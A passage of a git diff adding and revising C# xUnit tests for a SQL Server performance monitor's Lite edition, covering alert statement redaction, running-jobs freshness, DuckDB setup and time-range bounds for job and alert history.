     <Compile Include="..\Darling\Darling.Tests\CSharpSourceWalker.cs" Link="CSharpSourceWalker.cs" />
+    <!-- The in-process MCP server and client (a real call through the shared call-tool guard and the SDK's
+         binder), linked for the same reason: one harness, so the two SKUs' whole-number pins run the same path. -->
+    <Compile Include="..\Darling\Darling.Tests\McpInProcessHost.cs" Link="McpInProcessHost.cs" />
+    <!-- The per-type argument table and its test-only probe tool, shared for the same reason: both SKUs run one
+         table of values through the same real call path. -->
+    <Compile Include="..\Darling\Darling.Tests\McpArgumentTypeRows.cs" Link="McpArgumentTypeRows.cs" />
+    <!-- #4348: the statement-filter canary plan and its needles, shared so both SKUs' plan tools are held to the same text. -->
+    <Compile Include="..\Darling\Darling.Tests\StatementScrubCanary.cs" Link="StatementScrubCanary.cs" />
+    <!-- #5459: the guard-stage scanner, so both suites tag their guard classes by one detector. -->
+    <Compile Include="..\Darling\Darling.Tests\GuardStageScanner.cs" Link="GuardStageScanner.cs" />
+    <!-- #5602 (was #5559's WpfStaGate): the one shared STA thread every WPF test body runs on, and the gate that keeps one body in at a time. -->
+    <Compile Include="..\Darling\Darling.Tests\StaTestThread.cs" Link="StaTestThread.cs" />
+    <!-- #5602: the timing scanner, so both suites keep a clock-starting class in the one `timing` collection by one detector. -->
+    <Compile Include="..\Darling\Darling.Tests\TimingTestScanner.cs" Link="TimingTestScanner.cs" />
+    <!-- #5596: the test that proves this process runs with the WPF exit switch on (the switch itself is declared above), so both suites check their own process. -->
+    <Compile Include="..\Darling\Darling.Tests\WpfExitSwitchTests.cs" Link="WpfExitSwitchTests.cs" />
   </ItemGroup>
 
   <ItemGroup>
diff --git a/Lite.Tests/LiteAlertForwardingTests.StatementFilter.cs b/Lite.Tests/LiteAlertForwardingTests.StatementFilter.cs
new file mode 100644
index 0000000000..cfe0868876
--- /dev/null
+++ b/Lite.Tests/LiteAlertForwardingTests.StatementFilter.cs
@@ -0,0 +1,57 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Threading.Tasks;
+using PerformanceMonitor.Alerting;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5320 (part of #4348): <see cref="PerformanceMonitorLite.Services.LiteAlertDeliverer"/> runs the statement filter at
+/// its delivery entry, so an outcome handed to it directly (not through the engine's <c>FireAsync</c>) reaches the toast
+/// and the send with its statement withheld, and an outcome the engine already filtered is not judged a second time.
+/// </summary>
+public partial class LiteAlertForwardingTests
+{
+    private const string FilterCanary = "CREATE LOGIN [canary_ssf] WITH PASSWORD = N'S3cret-canary-ssf'";
+
+    [Fact]
+    public async Task Deliverer_AnOutcomeHandedStraightToIt_IsFilteredBeforeTheToastAndTheSend()
+    {
+        var (deliverer, toasts, sends) = BuildDeliverer();
+        var outcome = new AlertOutcome(
+            Key, Name, "Long-Running Query", "45", "30", null, "Query: " + FilterCanary, null, null, false, null,
+            ShortMessage: "Session 71 running 45m - " + FilterCanary);
+
+        await deliverer.DeliverAsync(outcome);
+
+        var toast = Assert.Single(toasts);
+        Assert.DoesNotContain("S3cret-canary-ssf", toast.Message, System.StringComparison.Ordinal);
+        Assert.Contains(SensitiveStatements.PlaceholderText, toast.Message, System.StringComparison.Ordinal);
+        var send = Assert.Single(sends);
+        Assert.DoesNotContain("S3cret-canary-ssf", send.DetailText!, System.StringComparison.Ordinal);
+        Assert.Contains(SensitiveStatements.PlaceholderText, send.DetailText!, System.StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task Deliverer_AnOutcomeTheEngineAlreadyFiltered_IsNotJudgedASecondTime()
+    {
+        var (deliverer, toasts, sends) = BuildDeliverer();
+        var outcome = AlertStatementFilter.MarkJudged(new AlertOutcome(
+            Key, Name, "Long-Running Query", "45", "30", null, "Query: " + FilterCanary, null, null, false, null,
+            ShortMessage: "Session 71 running 45m - " + FilterCanary));
+
+        await deliverer.DeliverAsync(outcome);
+
+        /* The marker is the contract: a marked outcome is trusted as handed over. */
+        Assert.Contains("S3cret-canary-ssf", Assert.Single(sends).DetailText!, System.StringComparison.Ordinal);
+        Assert.Contains("S3cret-canary-ssf", Assert.Single(toasts).Message, System.StringComparison.Ordinal);
+    }
+}
diff --git a/Lite.Tests/LiteAlertForwardingTests.cs b/Lite.Tests/LiteAlertForwardingTests.cs
index eeccefbb07..0931f8a5d8 100644
--- a/Lite.Tests/LiteAlertForwardingTests.cs
+++ b/Lite.Tests/LiteAlertForwardingTests.cs
@@ -1247,8 +1247,8 @@ public async Task StateStore_RoundTripsWatermarks_ThroughTheRealDuckDbTable()
         Directory.CreateDirectory(tempDir);
         try
         {
-            var duckDb = new DuckDbInitializer(Path.Combine(tempDir, "test.duckdb"));
-            await duckDb.InitializeAsync();
+            using var duckDb = new DuckDbInitializer(Path.Combine(tempDir, "test.duckdb"));
+            await duckDb.InitializeFromTemplateAsync();
             IAlertStateStore store = new LiteAlertStateStore(new DuckDbAlertHistoryStore(duckDb));
 
             /* Nothing persisted yet → null, so the engine starts at watermark 0 like the old loop. */
diff --git a/Lite.Tests/LiteAnomalousJobsFreshnessTests.cs b/Lite.Tests/LiteAnomalousJobsFreshnessTests.cs
index 690850ee0e..66fe37dd3f 100644
--- a/Lite.Tests/LiteAnomalousJobsFreshnessTests.cs
+++ b/Lite.Tests/LiteAnomalousJobsFreshnessTests.cs
@@ -7,6 +7,7 @@
  */
 
 using System;
+using System.Collections.Generic;
 using System.IO;
 using System.Threading.Tasks;
 using DuckDB.NET.Data;
@@ -27,6 +28,8 @@ namespace PerformanceMonitorLite.Tests;
 /// </summary>
 public sealed class LiteAnomalousJobsFreshnessTests : IDisposable
 {
+    private readonly List<DuckDbInitializer> _initializers = [];
+
     private const int ServerId = 7;
     private readonly string _tempDir;
     private readonly string _dbPath;
@@ -40,6 +43,11 @@ public LiteAnomalousJobsFreshnessTests()
 
     public void Dispose()
     {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
         try
         {
             if (Directory.Exists(_tempDir))
@@ -54,7 +62,8 @@ public void Dispose()
     private async Task<LocalDataService> SeedAsync(TimeSpan snapshotAge)
     {
         var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        _initializers.Add(initializer);
+        await initializer.InitializeFromTemplateAsync();
 
         using (var connection = new DuckDBConnection($"Data Source={_dbPath}"))
         {
@@ -141,8 +150,8 @@ which is why the bound derives from the cadence. */
     [Fact]
     public async Task EmptyStore_IsNoEvidence()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
         await initializer.CreateArchiveViewsAsync();
         var adapter = new LiteAlertReadAdapter(new LocalDataService(initializer));
 
diff --git a/Lite.Tests/LiteCpuSessionsPlanCacheTrendBucketingTests.cs b/Lite.Tests/LiteCpuSessionsPlanCacheTrendBucketingTests.cs
index 28e3b3de8a..86a8055421 100644
--- a/Lite.Tests/LiteCpuSessionsPlanCacheTrendBucketingTests.cs
+++ b/Lite.Tests/LiteCpuSessionsPlanCacheTrendBucketingTests.cs
@@ -187,6 +187,26 @@ public async Task SessionStatsTrend_MergedBucket_AveragesGauges_AttributionColum
         Assert.Equal(45, point.TopHostConnections);
     }
 
+    /// <summary>#4966: the summary strip's Collected time is the NEWEST collection in the last bucket (the one its Top Application and
+    /// Top Host come from), not the bucket's grid time and not its oldest collection.</summary>
+    [Fact]
+    public async Task SessionStatsTrend_MergedBucket_CarriesTheNewestCollectionsOwnTime()
+    {
+        var end = new DateTime(2026, 3, 20, 0, 0, 0);
+        var start = end.AddDays(-8);
+        var t1 = start.AddHours(1);
+        var t2 = t1.AddSeconds(60);
+
+        await SeedSessionAsync(t1, total: 100, running: 5, topApp: "OlderApp", topAppConns: 40, topHost: "OlderHost", topHostConns: 30);
+        await SeedSessionAsync(t2, total: 120, running: 9, topApp: "NewerApp", topAppConns: 55, topHost: "NewerHost", topHostConns: 45);
+
+        var trend = await _dataService.GetSessionStatsAsync(ServerId, fromDate: start, toDate: end);
+
+        var point = Assert.Single(trend);
+        Assert.Equal(t2, point.LatestCollectionTime);
+        Assert.NotEqual(t2, point.CollectionTime);
+    }
+
     [Fact]
     public async Task PlanCacheTrend_SevenDayWindow_ReturnsAtMostBudgetRows()
     {
diff --git a/Lite.Tests/LiteOverviewCardExplainsItselfTests.cs b/Lite.Tests/LiteOverviewCardExplainsItselfTests.cs
index 512514ae11..9003db75c1 100644
--- a/Lite.Tests/LiteOverviewCardExplainsItselfTests.cs
+++ b/Lite.Tests/LiteOverviewCardExplainsItselfTests.cs
@@ -39,6 +39,7 @@ namespace PerformanceMonitorLite.Tests;
 /// a CONNECTION word, so a card in real metric trouble reads a green "Online" while its border is red, and its
 /// amber "Warning" is about failing collectors and says nothing about the metrics at all.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class LiteOverviewCardExplainsItselfTests
 {
     /* Every fixture leaves OtherProcessCpuPercent null on purpose. CpuPercentForAlert reads the process-wide
diff --git a/Lite.Tests/LiteRunningJobsCurrentSnapshotTests.cs b/Lite.Tests/LiteRunningJobsCurrentSnapshotTests.cs
new file mode 100644
index 0000000000..7e3474e16b
--- /dev/null
+++ b/Lite.Tests/LiteRunningJobsCurrentSnapshotTests.cs
@@ -0,0 +1,241 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// The Running Jobs tab and get_running_jobs list only jobs from the collector's latest run. The collector writes no
+/// row when no job is running, so the newest running_jobs row can be days older than the last run that looked: the tab
+/// used to list a job collected weeks ago as running now. These drive the real read against a real DuckDB store.
+/// </summary>
+public sealed class LiteRunningJobsCurrentSnapshotTests : IDisposable
+{
+    private const int ServerId = 7;
+
+    private readonly List<DuckDbInitializer> _initializers = [];
+    private readonly string _tempDir;
+    private readonly string _dbPath;
+
+    public LiteRunningJobsCurrentSnapshotTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+        _dbPath = Path.Combine(_tempDir, "test.duckdb");
+    }
+
+    public void Dispose()
+    {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
+        try
+        {
+            if (Directory.Exists(_tempDir))
+                Directory.Delete(_tempDir, recursive: true);
+        }
+        catch
+        {
+            /* Best-effort cleanup */
+        }
+    }
+
+    /// <summary>One collection_log row: the run's time, its status, and how many rows it stored.</summary>
+    private readonly record struct LogRow(TimeSpan Age, string Status, int Rows);
+
+    private async Task<LocalDataService> SeedAsync(TimeSpan? snapshotAge, params LogRow[] log)
+    {
+        var initializer = new DuckDbInitializer(_dbPath);
+        _initializers.Add(initializer);
+        await initializer.InitializeFromTemplateAsync();
+
+        using (var connection = new DuckDBConnection($"Data Source={_dbPath}"))
+        {
+            await connection.OpenAsync(TestContext.Current.CancellationToken);
+
+            if (snapshotAge is { } age)
+            {
+                using var insert = connection.CreateCommand();
+                insert.CommandText = @"
+INSERT INTO running_jobs (collection_time, server_id, server_name, job_name, job_id, job_enabled, start_time, current_duration_seconds, avg_duration_seconds, p95_duration_seconds, successful_run_count, is_running_long, percent_of_average)
+VALUES ($1, $2, 'S1', 'Nightly ETL', 'job-1', true, $3, 111780, 900, 1200, 42, true, 400.0)";
+                var snapshotTime = DateTime.UtcNow - age;
+                insert.Parameters.Add(new DuckDBParameter { Value = snapshotTime });
+                insert.Parameters.Add(new DuckDBParameter { Value = ServerId });
+                insert.Parameters.Add(new DuckDBParameter { Value = snapshotTime.AddHours(-31) });
+                await insert.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+            }
+
+            var logId = 1;
+            foreach (var row in log)
+            {
+                using var insertLog = connection.CreateCommand();
+                insertLog.CommandText = @"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+VALUES ($1, $2, 'S1', 'running_jobs', $3, 12, $4, $5)";
+                insertLog.Parameters.Add(new DuckDBParameter { Value = (long)logId++ });
+                insertLog.Parameters.Add(new DuckDBParameter { Value = ServerId });
+                insertLog.Parameters.Add(new DuckDBParameter { Value = DateTime.UtcNow - row.Age });
+                insertLog.Parameters.Add(new DuckDBParameter { Value = row.Status });
+                insertLog.Parameters.Add(new DuckDBParameter { Value = row.Rows });
+                await insertLog.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+            }
+        }
+
+        await initializer.CreateArchiveViewsAsync();
+        return new LocalDataService(initializer);
+    }
+
+    [Fact]
+    public async Task NewestSnapshotDaysOlderThanTheLastSuccessfulRun_ReadsAsNoJobs()
+    {
+        /* The walk's case: a job collected days ago, and every run since found nothing and logged SUCCESS with zero rows. */
+        var data = await SeedAsync(
+            TimeSpan.FromDays(35),
+            new LogRow(TimeSpan.FromDays(35), "SUCCESS", 1),
+            new LogRow(TimeSpan.FromMinutes(10), "SUCCESS", 0),
+            new LogRow(TimeSpan.FromMinutes(5), "SUCCESS", 0));
+
+        var jobs = await data.GetRunningJobsAsync(ServerId);
+
+        Assert.Empty(jobs);
+    }
+
+    [Fact]
+    public async Task SnapshotFromTheLastSuccessfulRun_StillReadsItsJobs()
+    {
+        /* Lite stamps the log row with the run's start, so its snapshot is at or just after that instant. */
+        var data = await SeedAsync(
+            TimeSpan.FromMinutes(1),
+            new LogRow(TimeSpan.FromMinutes(6), "SUCCESS", 0),
+            new LogRow(TimeSpan.FromMinutes(1.01), "SUCCESS", 1));
+
+        var jobs = await data.GetRunningJobsAsync(ServerId);
+
+        var job = Assert.Single(jobs);
+        Assert.Equal("Nightly ETL", job.JobName);
+    }
+
+    [Fact]
+    public async Task SnapshotFromARunWhoseLogRowIsNotWrittenYet_StillReadsItsJobs()
+    {
+        /* The rows are stored before the log row is, so for a moment the newest log row is the previous, empty run. */
+        var data = await SeedAsync(
+            TimeSpan.FromSeconds(20),
+            new LogRow(TimeSpan.FromMinutes(5), "SUCCESS", 0));
+
+        var jobs = await data.GetRunningJobsAsync(ServerId);
+
+        Assert.Single(jobs);
+    }
+
+    [Fact]
+    public async Task FailedRunsJustAfterTheLastSuccess_DoNotMakeTheLastSuccessfulSnapshotVanish()
+    {
+        /* Only a SUCCESS run says what is running. A later PERMISSIONS or ERROR run looked at nothing, so it neither clears nor
+           confirms the list while the snapshot is still inside the freshness bound (three missed cycles, 15 minutes at the shipped 5). */
+        var data = await SeedAsync(
+            TimeSpan.FromMinutes(8),
+            new LogRow(TimeSpan.FromMinutes(8.01), "SUCCESS", 1),
+            new LogRow(TimeSpan.FromMinutes(5), "ERROR", 0),
+            new LogRow(TimeSpan.FromMinutes(2), "PERMISSIONS", 0));
+
+        var read = await data.ReadRunningJobsAsync(ServerId);
+
+        Assert.Single(read.Jobs);
+        Assert.Null(read.LastGoodCollection);
+    }
+
+    [Fact]
+    public async Task SuccessWithRowsThenOnlyFailedRunsForHours_ReadsNoJobsAndSaysCollectionIsNotCurrent()
+    {
+        /* The offline-after-rows case: the server went away while a job ran, and three hours of ERROR runs followed. The job
+           must not read as running (its "current duration" frozen at the last good run) and the answer says when collection last worked. */
+        var data = await SeedAsync(
+            TimeSpan.FromHours(3),
+            new LogRow(TimeSpan.FromHours(3), "SUCCESS", 1),
+            new LogRow(TimeSpan.FromHours(2), "ERROR", 0),
+            new LogRow(TimeSpan.FromHours(1), "ERROR", 0),
+            new LogRow(TimeSpan.FromMinutes(5), "ERROR", 0));
+
+        var read = await data.ReadRunningJobsAsync(ServerId);
+
+        Assert.Empty(read.Jobs);
+        Assert.NotNull(read.LastGoodCollection);
+        Assert.True(DateTime.UtcNow - read.LastGoodCollection!.Value > TimeSpan.FromHours(2.9));
+        Assert.Empty(await data.GetRunningJobsAsync(ServerId));
+    }
+
+    [Fact]
+    public async Task CollectorSwitchedOffAfterARunThatStoredRows_ReadsNoJobsAndSaysCollectionIsNotCurrent()
+    {
+        /* No later log row exists at all: the user turned the collector off in the schedule editor. */
+        var data = await SeedAsync(TimeSpan.FromHours(5), new LogRow(TimeSpan.FromHours(5), "SUCCESS", 1));
+
+        var read = await data.ReadRunningJobsAsync(ServerId);
+
+        Assert.Empty(read.Jobs);
+        Assert.NotNull(read.LastGoodCollection);
+    }
+
+    [Fact]
+    public async Task HealthyCollectorThatFoundNoJobs_ReadsNoJobsAndDoesNotClaimCollectionIsStale()
+    {
+        var data = await SeedAsync(
+            TimeSpan.FromDays(2),
+            new LogRow(TimeSpan.FromDays(2), "SUCCESS", 1),
+            new LogRow(TimeSpan.FromMinutes(3), "SUCCESS", 0));
+
+        var read = await data.ReadRunningJobsAsync(ServerId);
+
+        Assert.Empty(read.Jobs);
+        Assert.Null(read.LastGoodCollection);
+    }
+
+    [Fact]
+    public async Task StoreWithNoRunLogForTheCollector_KeepsTheNewestSnapshotWhileItIsCurrent()
+    {
+        /* A log row can be gone (retention) while the data row is not: with nothing to decide by, keep what was read before, while it is recent. */
+        var data = await SeedAsync(TimeSpan.FromMinutes(4));
+
+        var jobs = await data.GetRunningJobsAsync(ServerId);
+
+        Assert.Single(jobs);
+    }
+
+    [Fact]
+    public async Task StoreWithNoRunLogForTheCollector_StopsListingASnapshotOlderThanTheBound()
+    {
+        var data = await SeedAsync(TimeSpan.FromHours(3));
+
+        var read = await data.ReadRunningJobsAsync(ServerId);
+
+        Assert.Empty(read.Jobs);
+        Assert.NotNull(read.LastGoodCollection);
+    }
+
+    [Fact]
+    public async Task ServerWithNoSnapshotAtAll_ReadsAsNoJobs()
+    {
+        var data = await SeedAsync(null, new LogRow(TimeSpan.FromMinutes(2), "SUCCESS", 0));
+
+        var jobs = await data.GetRunningJobsAsync(ServerId);
+
+        Assert.Empty(jobs);
+    }
+}
diff --git a/Lite.Tests/LiteTimeRangeGapTests.cs b/Lite.Tests/LiteTimeRangeGapTests.cs
new file mode 100644
index 0000000000..c6ad3e9572
--- /dev/null
+++ b/Lite.Tests/LiteTimeRangeGapTests.cs
@@ -0,0 +1,394 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Ui;
+using PerformanceMonitorLite.Controls;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Helpers;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5562 gaps the first Lite pass left: FinOps pickers are rolling only (R5), Job History and Alert History read a real END
+/// bound ahead of their row caps (R6), the longest choices are 365 days (R8), the sample note
+/// names the main collector of the sub-tab on screen (R3), and every banner site feeds the picker's data start (R7).
+/// </summary>
+[Collection("server-time-helper")]
+public sealed class LiteTimeRangeGapTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private readonly DuckDbInitializer _duckDb;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = 9000;
+
+    public LiteTimeRangeGapTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+    }
+
+    public void Dispose() => _seedConn?.Dispose();
+
+    private static string LiteFile(string relative, [CallerFilePath] string thisFile = "")
+        => File.ReadAllText(Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "Lite", relative))).ReplaceLineEndings("\n");
+
+    private async Task<DuckDBConnection> SeedAsync()
+    {
+        if (_seedConn is null)
+        {
+            _seedConn = _duckDb.CreateConnection();
+            await _seedConn.OpenAsync();
+        }
+
+        return _seedConn;
+    }
+
+    // ---- R5: FinOps pickers are rolling only ----
+
+    [Fact]
+    public void RollingUnitRule_RefusesCalendarFixedSinceAndTooShort_ForAFinOpsList()
+    {
+        var now = new DateTime(2026, 10, 8, 12, 0, 0, DateTimeKind.Unspecified);
+        var hour = RollingUnitRule.Hour;
+
+        Assert.True(RollingUnitRule.Admits(TimeRangeSpec.Relative(TimeSpan.FromHours(36)), hour));
+        Assert.False(RollingUnitRule.Admits(TimeRangeSpec.ForPeriod(CalendarPeriod.PreviousWeek), hour));
+        Assert.False(RollingUnitRule.Admits(TimeRangeSpec.FixedRange(now.AddDays(-3), now.AddDays(-2)), hour));
+        Assert.False(RollingUnitRule.Admits(TimeRangeSpec.SinceInstant(now.AddDays(-3)), hour));
+        Assert.False(RollingUnitRule.Admits(TimeRangeSpec.Relative(TimeSpan.FromMinutes(30)), hour));
+        Assert.False(RollingUnitRule.Admits(TimeRangeSpec.Relative(TimeSpan.FromHours(36)), RollingUnitRule.Day)); /* the heatmap takes whole days */
+        Assert.True(RollingUnitRule.Admits(TimeRangeSpec.Relative(TimeSpan.FromDays(30)), RollingUnitRule.Day));
+    }
+
+    [Fact]
+    public void FinOps_EveryPickerIsConfiguredRollingOnly_HeatmapInWholeDays()
+    {
+        var code = LiteFile(Path.Combine("Controls", "FinOpsTab.xaml.cs"));
+        var xaml = LiteFile(Path.Combine("Controls", "FinOpsTab.xaml"));
+        var helper = LiteFile(Path.Combine("Helpers", "LiteTimeRange.cs"));
+
+        Assert.Equal(5, Regex.Matches(xaml, @"<ui:TimeRangePicker [^>]*Compact=""True""").Count);
+        Assert.Equal(4, Regex.Matches(code, @"LiteTimeRange\.ConfigureFinOpsPicker\(\w+TimeRangePicker, RollingUnitRule\.Hour\)").Count);
+        Assert.Contains("LiteTimeRange.ConfigureFinOpsPicker(ObjectHeatmapWindowPicker, RollingUnitRule.Day)", code, StringComparison.Ordinal);
+        Assert.Contains("picker.RollingUnit = unit;", helper, StringComparison.Ordinal);
+        Assert.Contains("picker.Compact = true;", helper, StringComparison.Ordinal);
+    }
+
+    // ---- R6: Job History end bound ahead of the cap ----
+
+    private async Task InsertRunAsync(int serverId, string jobId, DateTime wall)
+    {
+        var connection = await SeedAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO job_history
+    (job_history_id, collection_time, server_id, server_name, instance_id, job_id, job_name,
+     job_enabled, category_name, step_id, step_name, run_status, run_status_desc, run_datetime,
+     run_duration_seconds, retries_attempted, message)
+VALUES
+    ($1, $2, $3, $4, $5, $6, $7, TRUE, 'Uncategorized (Local)', 0, '(Job outcome)', 1, 'The job succeeded.', $8, 30, 0, NULL)";
+        var id = _nextId++;
+        cmd.Parameters.Add(new DuckDBParameter { Value = id });
+        cmd.Parameters.Add(new DuckDBParameter { Value = DateTime.UtcNow });
+        cmd.Parameters.Add(new DuckDBParameter { Value = serverId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = $"S{serverId}" });
+        cmd.Parameters.Add(new DuckDBParameter { Value = id });
+        cmd.Parameters.Add(new DuckDBParameter { Value = jobId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = jobId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = wall });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>
+    /// A window that ENDED two hours ago, with more runs after its end than the cap: the end is in the SQL ahead of the
+    /// LIMIT, so the cap is spent on the runs inside the window (the newest of them), not on the newer runs after it.
+    /// </summary>
+    [Fact]
+    public async Task JobHistory_EndBoundIsAppliedBeforeTheRowCap()
+    {
+        const int server = 701;
+        var host = DateTime.Now - DateTime.UtcNow; /* no collected clock: the machine's, so wall = utc + host offset */
+        DateTime Wall(DateTime utc)
+        {
+            var t = utc + host;
+            return new DateTime(t.Year, t.Month, t.Day, t.Hour, t.Minute, t.Second, DateTimeKind.Unspecified);
+        }
+
+        var now = DateTime.UtcNow;
+        var start = now.AddHours(-6);
+        var end = now.AddHours(-2);
+        for (var i = 0; i < 5; i++)
+        {
+            await InsertRunAsync(server, $"inside_{i}", Wall(end.AddMinutes(-10 * (i + 1))));
+        }
+
+        for (var i = 0; i < 6; i++)
+        {
+            await InsertRunAsync(server, $"after_{i}", Wall(end.AddMinutes(10 * (i + 1))));
+        }
+
+        var service = new LocalDataService(_duckDb);
+        var cap = 3;
+        var bounded = await service.GetJobHistoryAsync(start, cap, server, openTabClocks: null, windowEndUtc: end);
+        var unbounded = await service.GetJobHistoryAsync(start, cap, server);
+
+        Assert.Equal(cap, bounded.Count);
+        Assert.All(bounded, r => Assert.StartsWith("inside_", r.JobId));
+        Assert.Equal(new[] { "inside_0", "inside_1", "inside_2" }, bounded.Select(r => r.JobId).ToArray()); /* newest inside the window first */
+        Assert.All(unbounded, r => Assert.StartsWith("after_", r.JobId)); /* the old shape spent the whole cap after the end */
+    }
+
+    // ---- Alert History: start and exclusive end, Dismiss All scope ----
+
+    private async Task InsertAlertAsync(DateTime alertTimeUtc, string metric)
+    {
+        var connection = await SeedAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO config_alert_log (alert_time, server_id, server_name, metric_name, current_value, threshold_value, alert_sent, notification_type)
+VALUES ($1, 702, 'S702', $2, 1, 1, TRUE, 'tray')";
+        cmd.Parameters.Add(new DuckDBParameter { Value = alertTimeUtc });
+        cmd.Parameters.Add(new DuckDBParameter { Value = metric });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    [Fact]
+    public async Task AlertHistory_FinishedRangeShowsNoAlertAfterItsEnd_AndDismissAllTouchesOnlyThoseRows()
+    {
+        var now = DateTime.UtcNow;
+        var start = now.AddHours(-10);
+        var end = now.AddHours(-4);
+        await InsertAlertAsync(end.AddHours(-2), "inside_a");
+        await InsertAlertAsync(end.AddHours(-1), "inside_b");
+        await InsertAlertAsync(end, "at_end"); /* the end is exclusive */
+        await InsertAlertAsync(end.AddHours(1), "after_a");
+        await InsertAlertAsync(end.AddHours(2), "after_b");
+
+        var service = new LocalDataService(_duckDb);
+        var finished = await service.GetAlertHistoryWindowAsync(start, end, serverId: 702, limit: 100);
+        Assert.Equal(new[] { "inside_b", "inside_a" }, finished.Select(a => a.MetricName).ToArray());
+
+        var live = await service.GetAlertHistoryWindowAsync(start, null, serverId: 702, limit: 100);
+        Assert.Equal(5, live.Count);
+
+        /* The cap counts the rows inside the window, not the newer ones after its end. */
+        var capped = await service.GetAlertHistoryWindowAsync(start, end, serverId: 702, limit: 1);
+        Assert.Equal("inside_b", Assert.Single(capped).MetricName);
+
+        var dismissed = await service.DismissAllVisibleAlertsWindowAsync(start, end, serverId: 702);
+        Assert.Equal(2, dismissed);
+        var remaining = await service.GetAlertHistoryWindowAsync(start, null, serverId: 702, limit: 100);
+        Assert.Equal(new[] { "after_b", "after_a", "at_end" }, remaining.Select(a => a.MetricName).ToArray());
+    }
+
+    // ---- R8: Alert History's longest choice ----
+
+    [Fact]
+    public void AlertHistoryLongest_IsAYear_BecauseLiteKeepsRowsPastThreeMonths()
+    {
+        /* Archive files are deleted by whole month, 3 months back (RetentionService.OldestRetainedInstant), so a row older than
+           3 months survives until its month's file goes: a 3-month "All" would hide it. */
+        Assert.Equal(3, RetentionService.ArchiveRetentionMonths);
+        Assert.Equal(TimeSpan.FromDays(365), LiteTimeRange.AlertHistoryLongest);
+        Assert.Equal(TimeRangeSpec.Relative(TimeSpan.FromDays(365)), LiteTimeRange.AlertHistoryLongestChoice);
+        Assert.Equal(TimeRangeSpec.Relative(TimeSpan.FromDays(365)), LiteTimeRange.JobHistoryLongestChoice);
+
+        /* The parser has no year unit, so no text may claim "1y" can be typed. */
+        Assert.False(TimeRangeSpec.TryFromId("1y", out _));
+    }
+
+    [Fact]
+    public void JobHistoryZone_IsTheZoneTheGridWordsItsRowsIn_SoYesterdayMeansTheGridsYesterday()
+    {
+        /* #5562 M1: all servers are worded in UTC, one server in its own clock (its last read's, else its open tab's, else the machine's). */
+        var eastern = ServerClock.Resolve("Eastern Standard Time", -300);
+        var now = new DateTime(2026, 10, 8, 2, 0, 0, DateTimeKind.Unspecified);
+        var yesterday = TimeRangeSpec.ForPeriod(CalendarPeriod.Yesterday);
+
+        var allServers = JobHistoryTab.JobHistoryZone(null, new Dictionary<int, ServerClock> { [7] = eastern }, null);
+        Assert.Equal(TimeZoneInfo.Utc, allServers);
+        Assert.True(yesterday.TryResolve(now, allServers, out var inUtc, out _));
+        Assert.Equal(new DateTime(2026, 10, 7, 0, 0, 0), inUtc!.StartUtc);
+        Assert.Equal(new DateTime(2026, 10, 8, 0, 0, 0), inUtc.EndUtc);
+
+        var oneServer = JobHistoryTab.JobHistoryZone(7, new Dictionary<int, ServerClock> { [7] = eastern }, null);
+        Assert.True(yesterday.TryResolve(now, oneServer, out var inEastern, out _));
+        Assert.Equal(new DateTime(2026, 10, 6, 4, 0, 0), inEastern!.StartUtc);
+        Assert.Equal(new DateTime(2026, 10, 7, 4, 0, 0), inEastern.EndUtc);
+
+        /* No read yet for this server: its open tab's clock, then the machine's. */
